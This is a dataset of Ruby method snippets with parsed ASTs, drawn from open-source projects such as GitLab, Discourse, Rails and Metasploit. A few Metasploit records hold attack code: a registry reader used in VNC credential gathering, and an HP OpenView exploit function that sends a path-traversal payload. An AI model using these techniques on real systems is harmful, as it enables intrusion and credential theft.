{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":608,"raw_source":"def remote_mirror\n    @remote_mirror ||= RemoteMirror.last\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_mirror\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@remote_mirror\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RemoteMirror\"]},\"last\"]}]}]}","id":"61bdb2a9-a06d-400d-a4a7-136ae89b309e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/relation_export_service.rb","start_line":93,"raw_source":"def exported_filepath\n      File.join(export_path, export_service.exported_filename)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exported_filepath\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"export_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"export_service\"]},\"exported_filename\"]}]}]}","id":"be956533-4cbb-4741-8fbc-e8b25829b14d"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/alias_processor.rb","start_line":1339,"raw_source":"def same_value? lhs, rhs\n    if lhs == rhs\n      true\n    elsif node_type? lhs, :or\n      lhs.rhs == rhs or lhs.lhs == rhs\n    else\n      false\n    end\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"same_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lhs\"]},{\"type\":\"arg\",\"children\":[\"rhs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"rhs\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type?\",{\"type\":\"lvar\",\"children\":[\"lhs\"]},{\"type\":\"sym\",\"children\":[\"or\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs\"]},\"rhs\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"rhs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs\"]},\"lhs\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"rhs\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"81a26a64-8c20-4f7d-b76a-66ebc3b0e4bd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/registry.rb","start_line":312,"raw_source":"def registered?(badge)\n        clear_enrollment_queue\n        @registry.key?(badge)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"registered?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"badge\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clear_enrollment_queue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@registry\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"badge\"]}]}]}]}","id":"0fb932ef-0508-4b26-b3dd-f2a01db396f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":504,"raw_source":"def alternate_viewer_class\n        return unless viewer.instance_of?(DiffViewer::Renamed)\n\n        find_renderable_viewer_class(RICH_VIEWERS) || (DiffViewer::Text if text?)\n      end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"alternate_viewer_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"viewer\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiffViewer\"]},\"Renamed\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_renderable_viewer_class\",{\"type\":\"const\",\"children\":[null,\"RICH_VIEWERS\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiffViewer\"]},\"Text\"]},null]}]}]}]}]}","id":"2d1ef5c7-cf7d-4dff-877f-e90be3448807"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/vnc.rb","start_line":70,"raw_source":"def reg_get(key, variable)\n    root_key, base_key = session.sys.registry.splitkey(key)\n    open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)\n\n    data = open_key.query_value(variable).data\n    if data.is_a?(Integer)\n      return data\n    end\n\n    value = data.unpack('H*')[0].to_s\n    return value\n  rescue StandardError\n    # Registry value not found\n    return nil\n  end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reg_get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"variable\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root_key\"]},{\"type\":\"lvasgn\",\"children\":[\"base_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"registry\"]},\"splitkey\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"open_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"registry\"]},\"open_key\",{\"type\":\"lvar\",\"children\":[\"root_key\"]},{\"type\":\"lvar\",\"children\":[\"base_key\"]},{\"type\":\"const\",\"children\":[null,\"KEY_READ\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"open_key\"]},\"query_value\",{\"type\":\"lvar\",\"children\":[\"variable\"]}]},\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"3d36415b-e963-4a8c-9678-33379cc415fe"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/parent_filter.rb","start_line":40,"raw_source":"def allowed_values\n    @allowed_values ||= ::Project.visible.pluck(:id).map { |id| [id, id.to_s] }\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@allowed_values\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},\"visible\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\"]}]}]}]}]}","id":"abfa8da3-1b51-47c9-a34c-d1424d6cdfc7"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/authentication.rb","start_line":264,"raw_source":"def response_header(\n        default_auth_scheme: self.default_auth_scheme,\n        scope: nil,\n        request_headers: {},\n        error: nil,\n        error_description: nil\n      )\n        scheme = pick_auth_scheme(auth_schemes(scope),\n                                  default_auth_scheme,\n                                  request_headers)\n\n        header = %{#{scheme} realm=\"#{scope_realm(scope)}\"}\n        header << %{, error=\"#{error}\"}                         if error\n        header << %{, error_description=\"#{error_description}\"} if error && error_description\n        header\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"response_header\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"default_auth_scheme\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_auth_scheme\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"scope\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"request_headers\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"error\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"error_description\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scheme\",{\"type\":\"send\",\"children\":[null,\"pick_auth_scheme\",{\"type\":\"send\",\"children\":[null,\"auth_schemes\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"lvar\",\"children\":[\"default_auth_scheme\"]},{\"type\":\"lvar\",\"children\":[\"request_headers\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scheme\"]}]},{\"type\":\"str\",\"children\":[\" realm=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope_realm\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\", error=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"error_description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\", error_description=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_description\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"header\"]}]}]}","id":"b9ab8180-5bae-4f2d-9e50-32b222e5f0ed"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/validators/chat/allow_chat_in_anonymous_mode_validator.rb","start_line":9,"raw_source":"def valid_value?(val)\n      return true if val == \"f\"\n      return true if SiteSetting.allow_anonymous_mode\n\n      false\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"==\",{\"type\":\"str\",\"children\":[\"f\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"allow_anonymous_mode\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"71c7c306-ffd2-4316-92ef-8320f3b4b4af"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/minitest/rails_plugin_test.rb","start_line":79,"raw_source":"def baseline_reporters\n      [Minitest::SummaryReporter.new(@output), Minitest::ProgressReporter.new(@output)]\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"baseline_reporters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"SummaryReporter\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@output\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"ProgressReporter\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@output\"]}]}]}]}","id":"1830f693-0493-4659-8810-97ed99859359"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/statistics.rb","start_line":30,"raw_source":"def self.about_users\n      {\n        last_day: Chat::Message.where(\"created_at > ?\", 1.day.ago).distinct.count(:user_id),\n        \"7_days\": Chat::Message.where(\"created_at > ?\", 7.days.ago).distinct.count(:user_id),\n        \"30_days\": Chat::Message.where(\"created_at > ?\", 30.days.ago).distinct.count(:user_id),\n        previous_30_days:\n          Chat::Message\n            .where(\"created_at BETWEEN ? AND ?\", 60.days.ago, 30.days.ago)\n            .distinct\n            .count(:user_id),\n        count: Chat::Message.distinct.count(:user_id),\n      }\n    end","complexity_score":36.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"about_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"ago\"]}]},\"distinct\"]},\"count\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"7_days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"days\"]},\"ago\"]}]},\"distinct\"]},\"count\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"30_days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"days\"]},\"ago\"]}]},\"distinct\"]},\"count\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"previous_30_days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at BETWEEN ? AND ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[60]},\"days\"]},\"ago\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"days\"]},\"ago\"]}]},\"distinct\"]},\"count\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"distinct\"]},\"count\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}","id":"c6d49f12-90d8-4553-b6d9-fe4eccc0b641"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/site_settings/validations.rb","start_line":285,"raw_source":"def validate_bucket_setting(setting_name, upload_bucket, backup_bucket)\n    return if upload_bucket.blank? || backup_bucket.blank?\n\n    backup_bucket_name, backup_prefix = split_s3_bucket(backup_bucket)\n    upload_bucket_name, upload_prefix = split_s3_bucket(upload_bucket)\n\n    return if backup_bucket_name != upload_bucket_name\n\n    if backup_prefix == upload_prefix || backup_prefix.blank? ||\n         upload_prefix&.start_with?(backup_prefix)\n      validate_error(:s3_bucket_reused, setting_name: setting_name)\n    end\n  end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_bucket_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting_name\"]},{\"type\":\"arg\",\"children\":[\"upload_bucket\"]},{\"type\":\"arg\",\"children\":[\"backup_bucket\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_bucket\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_bucket\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backup_bucket_name\"]},{\"type\":\"lvasgn\",\"children\":[\"backup_prefix\"]}]},{\"type\":\"send\",\"children\":[null,\"split_s3_bucket\",{\"type\":\"lvar\",\"children\":[\"backup_bucket\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_bucket_name\"]},{\"type\":\"lvasgn\",\"children\":[\"upload_prefix\"]}]},{\"type\":\"send\",\"children\":[null,\"split_s3_bucket\",{\"type\":\"lvar\",\"children\":[\"upload_bucket\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_bucket_name\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"upload_bucket_name\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_prefix\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"upload_prefix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_prefix\"]},\"blank?\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_prefix\"]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"backup_prefix\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_error\",{\"type\":\"sym\",\"children\":[\"s3_bucket_reused\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setting_name\"]},{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]}]}]},null]}]}]}","id":"0f943049-c7a9-4682-a266-41494cc46125"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/helm.rb","start_line":27,"raw_source":"def publish_and_install!\n          setup_container\n          build_package\n          publish_package\n          update_repository\n          download_package\n        ensure\n          # Stop the container when `helm pull` is finished otherwise\n          # the sleeping container will hold onto the files in @volume_host_path,\n          # which causes problems when they're created in a tmp dir\n          # that we want to delete\n          shell \"docker stop #{name}\"\n        end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_and_install!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_container\"]},{\"type\":\"send\",\"children\":[null,\"build_package\"]},{\"type\":\"send\",\"children\":[null,\"publish_package\"]},{\"type\":\"send\",\"children\":[null,\"update_repository\"]},{\"type\":\"send\",\"children\":[null,\"download_package\"]}]},{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"docker stop \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}]}]}","id":"c9ec763f-3d92-46a8-89c6-d77bff239e30"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/crypto/chacha20.rb","start_line":34,"raw_source":"def chacha20_crypt(data)\n        num_blocks = data.length / 64\n        if data.length % 64 != 0\n         num_blocks += 1\n        end\n\n        keystream = []\n        (1..num_blocks).each do |block|\n          keystream << chacha20_block_func\n          chacha20_update_ctx\n        end\n        keystream = keystream.flatten\n\n        enc = []\n        i = 0\n        data.unpack(\"c*\").each do |a|\n          enc << (a.ord ^ keystream[i])\n          i += 1\n        end\n        enc.pack(\"c*\").force_encoding('ASCII-8BIT')\n      end","complexity_score":36.03,"ast_json":"{\"type\":\"def\",\"children\":[\"chacha20_crypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"num_blocks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"/\",{\"type\":\"int\",\"children\":[64]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"%\",{\"type\":\"int\",\"children\":[64]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"num_blocks\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"keystream\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"num_blocks\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keystream\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"chacha20_block_func\"]}]},{\"type\":\"send\",\"children\":[null,\"chacha20_update_ctx\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keystream\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keystream\"]},\"flatten\"]}]},{\"type\":\"lvasgn\",\"children\":[\"enc\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"c*\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enc\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"ord\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keystream\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enc\"]},\"pack\",{\"type\":\"str\",\"children\":[\"c*\"]}]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"ASCII-8BIT\"]}]}]}]}","id":"a85559f7-4079-43c2-a986-ff1da638b18e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb","start_line":143,"raw_source":"def get_install_path\n    cgi = '/OvCgi/OpenView5.exe'\n    web_session = rand_text_numeric(3)\n    my_cookie = \"OvOSLocale=English_United States.1252; \"\n    my_cookie << \"OvAcceptLang=en-US; \"\n    my_cookie << \"OvJavaLocale=en_US.Cp1252; \"\n    my_cookie << \"OvWebSession=#{web_session}:AnyUser:\"\n\n    payload = \"../../../log/setup.log\"\n    res = send_request_cgi({\n      'uri'\t=> cgi,\n      'cookie' => my_cookie,\n      'method'\t=> \"GET\",\n      'vars_get' =>\n        {\n          'Target' => \"Main\",\n          'Scope' => \"Snmp\",\n          'Action' => payload\n        }\n    }, 5)\n\n    installation_path = \"\"\n    if res and res.code == 200 and\n       res.body =~ /([A-Z]:\\\\.*\\\\)log/\n      print_status(\"Installation Path Found in #{$1}\")\n      installation_path = $1\n    else\n      print_status(\"Installation Path Not Found using the default\")\n      installation_path = \"C:\\\\Program Files\\\\HP OpenView\\\\\"\n    end\n\n    return installation_path\n  end","complexity_score":23.65,"ast_json":"{\"type\":\"def\",\"children\":[\"get_install_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cgi\",{\"type\":\"str\",\"children\":[\"/OvCgi/OpenView5.exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"web_session\",{\"type\":\"send\",\"children\":[null,\"rand_text_numeric\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"my_cookie\",{\"type\":\"str\",\"children\":[\"OvOSLocale=English_United States.1252; \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_cookie\"]},\"<<\",{\"type\":\"str\",\"children\":[\"OvAcceptLang=en-US; \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_cookie\"]},\"<<\",{\"type\":\"str\",\"children\":[\"OvJavaLocale=en_US.Cp1252; \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_cookie\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"OvWebSession=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_session\"]}]},{\"type\":\"str\",\"children\":[\":AnyUser:\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"str\",\"children\":[\"../../../log/setup.log\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"cgi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"my_cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Target\"]},{\"type\":\"str\",\"children\":[\"Main\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Scope\"]},{\"type\":\"str\",\"children\":[\"Snmp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Action\"]